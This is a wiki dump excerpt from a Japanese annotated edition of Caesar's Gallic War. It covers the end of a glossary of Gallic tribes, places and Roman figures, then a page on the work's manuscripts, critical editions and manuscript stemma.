**[[w:en:Boii|Boii]]（ボイイ族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Boii|la:Boii]]&lt;/span&gt;；[[w:ボヘミア|ボヘミア]]（[[w:la:Bohemia|la:Bohemia]]）から移住してきた部族
**Cadurci（カドゥルキー族）；現在の[[w:カオール|カオール]]（Cahors）周辺の部族 - [[w:fr:Cadurques|fr:Cadurques]]
**:[[w:en:Lucterius|Lucterius]]（ルクテリウス）；カドゥルキー族の指導者、[[#5節|5節]]を参照。
**[[w:en:Carnutes|Carnutes]]（カルヌーテース族）；現在の[[w:シャルトル|シャルトル]]（Chartres）周辺の部族
**[[w:en:Gabali|Gabali]]（ガバリ族）
**Haedui ⇒ Aedui
**[[w:en:Helvii|Helvii]]（ヘルウィイ族）；ガッリア南部にいたローマの同盟部族
**[[w:en:Lemovices|Lemovices]]（レモウィケス族）；現在の[[w:リモージュ|リモージュ]]（Limoges）周辺の部族
**:[[w:en:Sedullos|Sedullos]]（セドゥッルス　Sedullus）；レモウィケス族の将帥・領袖
**[[w:en:Lingones|Lingones]]（リンゴネス族）- [[w:fr:Lingons|fr:Lingons]]；現在のラングル（[[w:en:Langres|Langres]]）周辺の部族
**[[w:en:Mandubii|Mandubii]]（マンドゥビイ族）；[[w:アレシア|アレスィア]]周辺にいた部族
**Nitiobroges（ニティオブロゲス族）- [[w:fr:Nitiobroges|fr:Nitiobroges]]
**:[[w:fr:Ollovico|fr:Ollovico]]（オッロウィコ）；ローマ元老院から友人と呼ばれた王
**:[[w:fr:Teutomatos|fr:Teutomatos]]（テウトマトゥス）；王で、オッロウィコの子
**[[w:en:Parisii (Gaul)|Parisii (Gaul)]]（[[w:パリシイ族|パリスィイ族]]）；現在の[[w:パリ|パリ]]周辺の部族
**[[w:en:Pictones|Pictones]]（ピクトネス族）；現在の[[w:ポワチエ|ポワティエ]]（Poitiers）周辺の部族
**[[w:en:Remi|Remi]]（レーミー族）
**[[w:en:Ruteni|Ruteni]]（ルテーニー族）
**[[w:en:Segusiavi|Segusiavi]]（セグスィアウィ族）
**[[w:en:Senones|Senones]]（セノネース族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Senones|la:Senones]]&lt;/span&gt;；現在の[[w:サン (ヨンヌ県)|サン]]（Sens）周辺の部族
***[[w:en:Acco|Acco]]（アッコー）
**[[w:en:Sequani|Sequani]]（セクアニ族）
**[[w:en:Treveri|Treveri]]（トレウェリ族）
**[[w:en:Turones|Turones]]（トゥロニ族／トゥロネス族）；現在の[[w:トゥール (アンドル＝エ＝ロワール県)|トゥール]]（Tours）周辺の部族
**[[w:en:Volcae|Volcae]]（ウォルカエ族）
*&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Germani|la:Germani]]&lt;/span&gt;（ゲルマニア人）


*'''ガッリアの地名''' - '''[[w:la:Categoria:Urbes Franciae|la:Categoria:Urbes Franciae]]'''（フランスの都市）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Agedincum|la:Agedincum]]&lt;/span&gt;（アゲディンクム）；現在の[[w:サンス|サンス]]（[[w:en:Sens|Sens]]）
**[[w:en:Alesia_(city)|Alesia (city)]]（[[w:アレシア|アレスィア]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesia|la:Alesia]]&lt;/span&gt;：現在のアリーズ＝サント＝レーヌ（[[w:fr:Alise-Sainte-Reine|fr:Alise-Sainte-Reine]]）
**:'''[[w:en:Battle_of_Alesia|Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesiae_pugna|la:Alesiae pugna]]&lt;/span&gt;'''
**[[w:en:Avaricum|Avaricum]] ⇒ [[w:en:Bourges|Bourges]]（アウァーリクム - 現在の[[w:ブールジュ|ブールジュ]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Avaricum_Biturigum|la:Avaricum Biturigum]]&lt;/span&gt;
**[[w:en:Bibracte|Bibracte]]（[[w:ビブラクテ|ビブラクテ]]） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Bibracte|la:Bibracte]]&lt;/span&gt;：[[w:ハエドゥイ族|ハエドゥイー族]]の首邑。現在のボーヴレ山（[[w:fr:Mont_Beuvray|fr:Mont Beuvray]]）の山頂に位置していた。
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Cabillonum|la:Cabillonum]]&lt;/span&gt;（カビッロヌム／カウィッロヌム）- 現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]（[[w:fr:Chalon-sur-Saône|fr:Chalon-sur-Saône]]）
**[[w:en:Cenabum|Cenabum]]（ケナブム）- 現在の[[w:オルレアン|オルレアン]] - [[w:fr:Cenabum|fr:Cenabum]]
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decetia|la:Decetia]]&lt;/span&gt;（デケティア）- [[w:en:Decize|en:Decize]] - 現在のドスィーズ（ドシーズ）（[[w:fr:Decize|fr:Decize]]）
**[[w:en:Gergovie|Gergovie]]（ゲルゴウィア）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gergovia|la:Gergovia]]&lt;/span&gt;
**:'''[[w:en:Battle of Gergovia|Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Obsidio Gergoviensis|la:Obsidio Gergoviensis]]&lt;/span&gt;'''
**[[w:en:Gorgobina|Gorgobina]]（ゴルゴビナ）；ボイイ族が定住した城塞都市。現在のサン＝パリズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）またはラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）
**'''[[w:en:Lutetia|Lutetia]]'''（'''[[w:ルテティア|ルテティア]]'''／ルテキア）；[[w:パリシイ族|パリスィイ族]]の首邑、現在の[[w:パリ|パリ市]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Lutetia|la:Lutetia]]&lt;/span&gt;
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Matisco|la:Matisco]]&lt;/span&gt;（マティスコ）；現在の[[w:マコン|マコン]]（Mâcon）
**Metlosenum（メトロセドゥム／メティオセドゥム／メロドゥーヌム）；現在の[[w:ムラン|ムラン]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Melodunum|la:Melodunum]]&lt;/span&gt;
**[[w:en:Narbonne|Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]；ラテン名ナルボ）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Narbo|la:Narbo]]&lt;/span&gt;；ガッリア南部・地中海岸のローマの拠点
**[[w:en:Noviodunum|Noviodunum]]（ノウィオドゥーヌム）- 現在のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）と推定されている。従来はローヌ川沿いの[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）が有力だった
**[[w:en:Vellaunodunum|Vellaunodunum]]（ウェッラウノドゥーヌム）- [[w:fr:Vellaunodunum|fr:Vellaunodunum]]；現在のモンタルジ（[[w:en:Montargis|Montargis]]）やボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）、シャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などと推定されている
**[[w:en:Vienne, Isère|Vienne, Isère]]（ヴィエンヌ；ラテン名ウィエンナ）- [[w:la:Vienna|la:Vienna]]
*'''ガッリアの地形'''
**Cevenna（ケウェンナ山地）：現在のセヴェンヌ山地（[[w:fr:Cévennes|fr:Cévennes]]・[[w:en:Cévennes|Cévennes]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Elaver|la:Elaver]]&lt;/span&gt;（エラウェル川）：現在の[[w:アリエ川|アリエ川]]（[[w:fr:Allier (rivière)|fr:Allier (rivière)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Liger|la:Liger]]&lt;/span&gt;（リゲル川）：現在の[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|fr:Loire (fleuve)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhenus|la:Rhenus]]&lt;/span&gt;（レヌス川）：現在の[[w:ライン川|ライン川]]（[[w:fr:Rhin|fr:Rhin]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhodanus|la:Rhodanus]]&lt;/span&gt;（ロダヌス川）：現在の[[w:ローヌ川|ローヌ川]]（[[w:fr:Rhône|fr:Rhône]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Sequana|la:Sequana]]&lt;/span&gt;（セクアナ川）：現在の[[w:セーヌ川|セーヌ川]]（[[w:fr:Seine|fr:Seine]]）

*ローマ勢
**[[w:en:Mark_Antony|Mark Antony]]（[[w:マルクス・アントニウス|マルクス・'''アントニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Marcus_Antonius|la:Marcus Antonius]]&lt;/span&gt;
**[[w:en:Decimus_Junius_Brutus_Albinus|Decimus Junius '''Brutus''' Albinus]]（[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ユニウス・'''ブルトゥス'''・アルビヌス]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/span&gt;（[[#9節|9節]]）
**[[w:en:Quintus Tullius Cicero|Quintus Tullius '''Cicero''']]（[[w:クィントゥス・トゥッリウス・キケロ|クィントゥス・トゥッリウス・'''キケロ''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Quintus Tullius Cicero|la:Quintus Tullius Cicero]]&lt;/span&gt;：カエサルの副官
**Gaius '''Fabius'''（ガイウス・'''ファビウス'''）：カエサルの副官
**[[w:en:Titus Labienus|Titus '''Labienus''']]（[[w:ティトゥス・ラビエヌス|ティトゥス・'''ラビエーヌス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Titus Labienus|la:Titus Labienus]]&lt;/span&gt;：カエサルの副官
**[[w:en:Trebonius|'''Trebonius''']]（[[w:ガイウス・トレボニウス|ガイウス・'''トレボニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gaius_Trebonius|la:Gaius Trebonius]]&lt;/span&gt;：カエサルの副官
**[[w:en:Lucius Julius Caesar IV|Lucius Julius '''Caesar''' IV]]（ルキウス・ユリウス・'''カエサル'''4世）：総督カエサルの副官で、4代前の高祖父を共有する。BC64年に執政官を務めた。

*イタリア方面
**[[w:en:Cisalpine_Gaul|Cisalpine Gaul]]（[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]） - [[w:la:Gallia Cisalpina|la:Gallia Cisalpina]]
**[[w:en:Populares|Populares]]（[[w:ポプラレス|ポプラレス]]；民衆派）- [[w:la:Populares|la:Populares]]
**:[[w:en:Publius_Clodius_Pulcher|Publius Clodius Pulcher]]（[[w:プブリウス・クロディウス・プルケル|プブリウス・クロディウス・プルケル]]） - [[w:la:Publius_Clodius_Pulcher|la:Publius Clodius Pulcher]]
**[[w:en:Optimates|Optimates]]（[[w:オプティマテス|オプティマテス]]；元老院派）
**:[[w:en:Cicero|Cicero]]（[[w:マルクス・トゥッリウス・キケロ|マルクス・トゥッリウス・キケロ]]）- [[w:la:Marcus_Tullius_Cicero|la:Marcus Tullius Cicero]]
**:[[w:en:Titus_Annius_Milo|Titus Annius Milo]]（ティトゥス・アンニウス・ミロ）- [[w:la:Titus_Annius_Milo|la:Titus Annius Milo]]
**:[[w:en:Pompey|Pompey]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）- [[w:la:Gnaeus_Pompeius_Magnus|la:Gnaeus Pompeius Magnus]]</text>
      <sha1>ei5zstkuavz26mjv8ftyltg6eldi3ui</sha1>
    </revision>
  </page>
  <page>
    <title>ガリア戦記/注解編/写本と校訂版</title>
    <ns>0</ns>
    <id>27746</id>
    <revision>
      <id>305265</id>
      <parentid>301592</parentid>
      <timestamp>2026-11-01T08:45:04Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* おもな校訂者（校訂版）などの人名 */</comment>
      <origin>305265</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="79805" sha1="scmrzjc01tn8wk4b833ba3qlfw895ko" xml:space="preserve">{| id=&quot;toc&quot; style=&quot;align:center;clear:all;&quot; align=&quot;center&quot; cellpadding=&quot;5&quot;
|-
! style=&quot;background:#ccf; text-align:center;&quot; |&amp;nbsp; [[ガリア戦記/注解編|ガリア戦記 注解編]] &amp;nbsp;
| style=&quot;background:#eef; text-align:center;&quot; |
&amp;nbsp;[[ガリア戦記 第1巻/注解|第1巻]] |
&amp;nbsp;[[ガリア戦記 第2巻/注解|第2巻]] |
&amp;nbsp;[[ガリア戦記 第3巻/注解|第3巻]] |
&amp;nbsp;[[ガリア戦記 第4巻/注解|第4巻]] |
&amp;nbsp;[[ガリア戦記 第5巻/注解|第5巻]] |
&amp;nbsp;[[ガリア戦記 第6巻/注解|第6巻]] |
&amp;nbsp;[[ガリア戦記 第7巻/注解|第7巻]] &amp;nbsp;
|}

『[[ガリア戦記]]』の主要な写本、参照したおもな校訂版や[[#クリティカル・アパラトゥスとその略号|アパラトゥス]]、校訂者や文献学者などを紹介する。
# [[#主要な写本]]
# [[#その他の写本]]
#* [[#写本の系図]]
# [[#クリティカル・アパラトゥスとその略号]]
#* [[#Editio princeps]]
# [[#校訂版]]
# [[#おもな校訂者（校訂版）などの人名]]
# [[#注釈書等]]
# [[#外部リンク]]
#* [[#オンライン注釈書等]]


== 主要な写本 ==
下表に、『ガリア戦記』の校訂に用いられる主要な写本を一覧する。用いられる写本は、&lt;u&gt;[[#クリティカル・アパラトゥスとその略号|アパラトゥス]]が詳しい&lt;/u&gt; クロッツ（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Klotz&lt;/span&gt;）とゼール（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Seel&lt;/span&gt;）による&lt;span style=&quot;font-size:13pt;&quot;&gt;トイプナー叢書（&lt;span style=&quot;font-family:Times New Roman;&quot;&gt;[[w:la:Bibliotheca scriptorum Graecorum et Romanorum Teubneriana|Bibliotheca Teubneriana]]&lt;/span&gt;）版 &lt;/span&gt; および コンスタン（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;Constans&lt;/span&gt;）による&lt;span style=&quot;font-size:13pt;&quot;&gt;ビュデ叢書（&lt;span style=&quot;font-family:Times New Roman;font-size:15pt;&quot;&gt;[[w:la:Collection des Universités de France|Collection Budé]]&lt;/span&gt;）版&lt;/span&gt; でほぼ同じであるが、写本を示す略記号がいくらか異なるので、併記した。

{| class=&quot;wikitable&quot; cellspacing=1
|- style=&quot;font-family:Times New Roman;&quot;
! colspan=&quot;2&quot;  style=&quot;font-size:18pt;&quot; |Bibliotheca Teubneriana
! rowspan=&quot;15&quot; |
! colspan=&quot;2&quot;  style=&quot;font-size:18pt;&quot; |Collection Budé
! rowspan=&quot;15&quot;|
! colspan=&quot;2&quot; |日本語説明&lt;ref name=&quot;kunihara&quot;&gt;『ガリア戦記』の写本の事情については、日本語では[[w:国原吉之助|國原吉之助]]訳 『ガリア戦記』 （[[w:講談社学術文庫|講談社学術文庫]]、1994年）の巻末解説を参照。&lt;/ref&gt;
|-
!記号
! style=&quot;width:23em;&quot; |写本説明 （ラテン語）
!記号
! style=&quot;width:23em;&quot; |写本説明 （ラテン語・仏語）
! style=&quot;width:5em;&quot; |写本名
! style=&quot;width:8em;&quot; |所蔵図書館・登録番号、年代
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |A
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |codex Amstelodamensis 81 s. IX/X
! style=&quot;font-size:15pt;&quot; |A
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Bongarsianus''. Amsterdam, 81. IX&lt;sup&gt;e&lt;/sup&gt;-X&lt;sup&gt;e&lt;/sup&gt; siècle.
!アムステ&lt;br&gt;ルダム本
| style=&quot;font-size:9pt;&quot; |アムステルダム図書館蔵、81番、9～10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |Q
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Parisinus&lt;br&gt; (olim Moysiacensis) Lat. 5056 s. XII
! style=&quot;font-size:15pt;color:#f55;&quot; |M
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Moysiacensis''. Paris, [[w:fr:Bibliothèque nationale de France|Bibl. Nat.]], lat.5056. XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!パリ本
| style=&quot;font-size:9pt;&quot; |パリ、[[w:フランス国立図書館|仏国立図書館]]蔵、5056番、12世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |B
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Parisinus Lat. 5763 s. X
! style=&quot;font-size:15pt;&quot; |B
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Parisinus''. Paris, [[w:fr:Bibliothèque nationale de France|Bibl. Nat.]], lat.5763. IX&lt;sup&gt;e&lt;/sup&gt;-X&lt;sup&gt;e&lt;/sup&gt; siècle.
!パリ本
| style=&quot;font-size:9pt;&quot; |パリ、[[w:フランス国立図書館|仏国立図書館]]蔵、5763番、9～10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |C
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vossianus Leidensis 53 s. XI
| colspan=&quot;2&quot;|
!ライデン本
| style=&quot;font-size:9pt;&quot; |[[w:ライデン|ライデン]]、[[:c:Category:Leiden University Library|図書館蔵]]、53番、11世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |M
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vaticanus Lat. 3864 s. X
! style=&quot;font-size:15pt;color:#f55;&quot; |R
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Romanus''. [[w:fr:Rome|Rome]], [[w:fr:Bibliothèque apostolique vaticane|Bibl. Vat.]], 3864. X&lt;sup&gt;e&lt;/sup&gt; siècle.
!ヴァチカン本
| style=&quot;font-size:9pt;&quot; |ローマ、[[w:バチカン図書館|バチカン図書館]]蔵、3864番、10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |S
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Laurentianus&lt;br&gt; (olim Ashburnhamensis) R33 s. X
! style=&quot;font-size:15pt;&quot; |S
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Ashburnhamianus''. [[w:fr:Florence|Florence]], [[w:fr:Bibliothèque Laurentienne|Bibl. Laur.]], Ashburn. R. 33. X&lt;sup&gt;e&lt;/sup&gt; siècle.
!アッシュバ&lt;br&gt;ンハム本
| style=&quot;font-size:9pt;&quot; |フィレンツェ、[[w:en:Laurentian Library|メディチ・ロレンツォ図書館]]蔵、R33番、10世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |L
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex [[w:la:Museum Britannicum|musei Britannici]]&lt;br&gt; (olim Lovaniensis) Add. 10084 s. XI
! style=&quot;font-size:15pt;&quot; |L
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Louaniensis''. [[w:fr:Londres|Londres]], [[w:fr:British Museum|Brit. Mus.]], Add. MSS. 10084. XI&lt;sup&gt;e&lt;/sup&gt; siècle.
!大英博物館本
| style=&quot;font-size:9pt;&quot; |ロンドン、[[w:大英博物館|大英博物館]]蔵、追加10084番、11世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |N
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Neapolitanus IV c.11 s. XII/XIII
! style=&quot;font-size:15pt;&quot; |N
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Neapolitanus''. [[w:fr:Naples|Naples]], [[w:fr:Biblioteca nazionale Vittorio Emanuele III|Bibl. Nat.]], IV, c. 11. XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!ナポリ本
| style=&quot;font-size:9pt;&quot; |ナポリ、[[w:en:Biblioteca Nazionale Vittorio Emanuele III|国立図書館]]蔵、IV c.11番、12～13世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |T
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Parisinus&lt;br&gt; (olim I.A.Thuani) Lat. 5764 s. XI
! style=&quot;font-size:15pt;&quot; |T
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Thuaneus''. Paris, [[w:fr:Bibliothèque nationale de France|Bibl. Nat.]], lat. 5764. XI&lt;sup&gt;e&lt;/sup&gt; siècle.
!トゥー本
| style=&quot;font-size:9pt;&quot; |パリ、[[w:フランス国立図書館|仏国立図書館]]蔵、5764番、11世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |V
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vindobonensis 95 s. XII
! style=&quot;font-size:15pt;color:#f55;&quot; |''f''
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Vindobonensis''. [[w:fr:Vienne (Autriche)|Vienne]], 95. XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!ウィーン本
| style=&quot;font-size:9pt;&quot; |ウィーン、[[w:オーストリア国立図書館|国立図書館]]、95番、12世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;&quot; |U
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Vaticanus&lt;br&gt; (olim Fulvii Ursicini) Lat. 3324 s. XI/XII
! style=&quot;font-size:15pt;&quot; |U
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Ursinianus''. [[w:fr:Rome|Rome]], [[w:fr:Bibliothèque apostolique vaticane|Bibl. Vat.]], 3324. XI&lt;sup&gt;e&lt;/sup&gt; siècle.
!ウルシヌス本
| style=&quot;font-size:9pt;&quot; |ローマ、[[w:バチカン図書館|バチカン図書館]]蔵、3324番、11～12世紀
|- style=&quot;font-family:Times New Roman;&quot;
! style=&quot;font-size:15pt;color:#f55;&quot; |R
| style=&quot;font-size:13pt;background-color:#ffd;&quot; |codex Laurentianus Riccardianus 541 s. XI/XII
! style=&quot;font-size:15pt;color:#f55;&quot; |''l''
| style=&quot;font-size:12pt;background-color:#ffd;&quot; |''Riccardianus''. [[w:fr:Florence|Florence]], [[w:fr:Bibliothèque Laurentienne|Bibl. Laur.]], Riccard. 541. XI&lt;sup&gt;e&lt;/sup&gt;-XII&lt;sup&gt;e&lt;/sup&gt; siècle.
!リッカルド本
| style=&quot;font-size:9pt;&quot; |フィレンツェ、図書館蔵、541番、11～12世紀
|}

=== その他の写本 ===
このほか、以下の写本などが参照されることがある。

==== codex Oxoniensis ====
オックスフォード写本、『ガリア戦記』の校訂においては、特に以下の &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;[[#Codex Oxoniensis Andino]]&lt;/span&gt; を指す。
==== Codex Oxoniensis Andino ====
*&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;Codex [[wikt:en:oxoniensis|Oxoniensis]] Andino ([[w:en:Bibliotheca Bodleiana|Bibliotheca Bodleiana]]): &amp;nbsp;&lt;/span&gt;（&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;codd. Andino. Oxon.&lt;/span&gt; などと略記される。）
**オックスフォード写本（[[w:ボドリアン図書館|ボドリアン図書館]]所蔵）
**:これは、かつてアンディン（Andin）という人物が所有していたなどから名付けられた『ガリア戦記』の写本で、&lt;br&gt;中世の主要写本 &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&amp;omega;&lt;/span&gt; より劣っていると見なされることが多いため、&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;dett.&lt;/span&gt; &lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;([[wikt:en:codex#Latin|cōdicēs]] [[wikt:en:deterior#Latin|dēteriōrēs]])&lt;/span&gt; と表記されることもある。

&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:15pt;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;&lt;/span&gt;

=== 写本の系図 ===
『ガリア戦記』に関する写本の系図理論は、20世紀においてはトイプナー版もビュデ版もおおむね同じである。以下、トイプナー版の記号を用いて系図にふれる。
{| class=&quot;wikitable&quot;
|+
|-
! colspan=&quot;4&quot; style=&quot;color:#f0f; font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot; |&amp;omega;
|-
! colspan=&quot;2&quot; style=&quot;color:#80f; font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot; |&amp;alpha;
! colspan=&quot;2&quot; style=&quot;color:#80f; font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot; |&amp;beta;
|-
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;chi;
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;phi;
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;pi;
! colspan=&quot;1&quot; style=&quot;color:#00f; font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot; |&amp;rho;
|-
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |A &amp;middot; Q
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |B &amp;middot; M &amp;middot; S &amp;middot; L &amp;middot; N
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |T &amp;middot; V
| style=&quot;font-family:Times New Roman;font-size:20pt;&quot; |U &amp;middot; R
|}

*&lt;span style=&quot;color:#f0f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:30pt;&quot;&gt;&amp;omega;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum omnium&lt;/span&gt;&lt;/span&gt; ： &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;alpha;&lt;/span&gt;系と&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;beta;&lt;/span&gt;系、すなわち、主要写本のほぼ全てが一致していることを示す。ビュデ版などでは &lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:13pt;&quot;&gt;codd.&lt;/span&gt; と記す。
**&lt;span style=&quot;color:#80f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;alpha;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;chi;&amp;phi;&lt;/span&gt;&lt;/span&gt; ： 　&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;chi;&lt;/span&gt;系と&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:20pt;&quot;&gt;&amp;phi;&lt;/span&gt;系の写本がほぼ一致していることを示す。
***&lt;span style=&quot;color:#00f;&quot;&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:oblique;font-size:25pt;&quot;&gt;&amp;chi;&lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;&amp;nbsp; significat consensum codicum &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;AQ&lt;/span&gt;&lt;/span&gt; ： 写本&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;A Q&lt;/span&gt; が一致していることを示す。
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;A = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Amstelodamensis (''Bongarsianus'') 81&lt;/span&gt; ： 
****&lt;span style=&quot;font-family:Times New Roman;font-style:bold;font-size:15pt;&quot;&gt;Q = &lt;/span&gt;&lt;span style=&quot;font-family:Times New Roman;font-style:normal;font-size:13pt;&quot;&gt;codex Parisinus (''Moysiacensis'') lat. 5056&lt;/span&gt; ： 
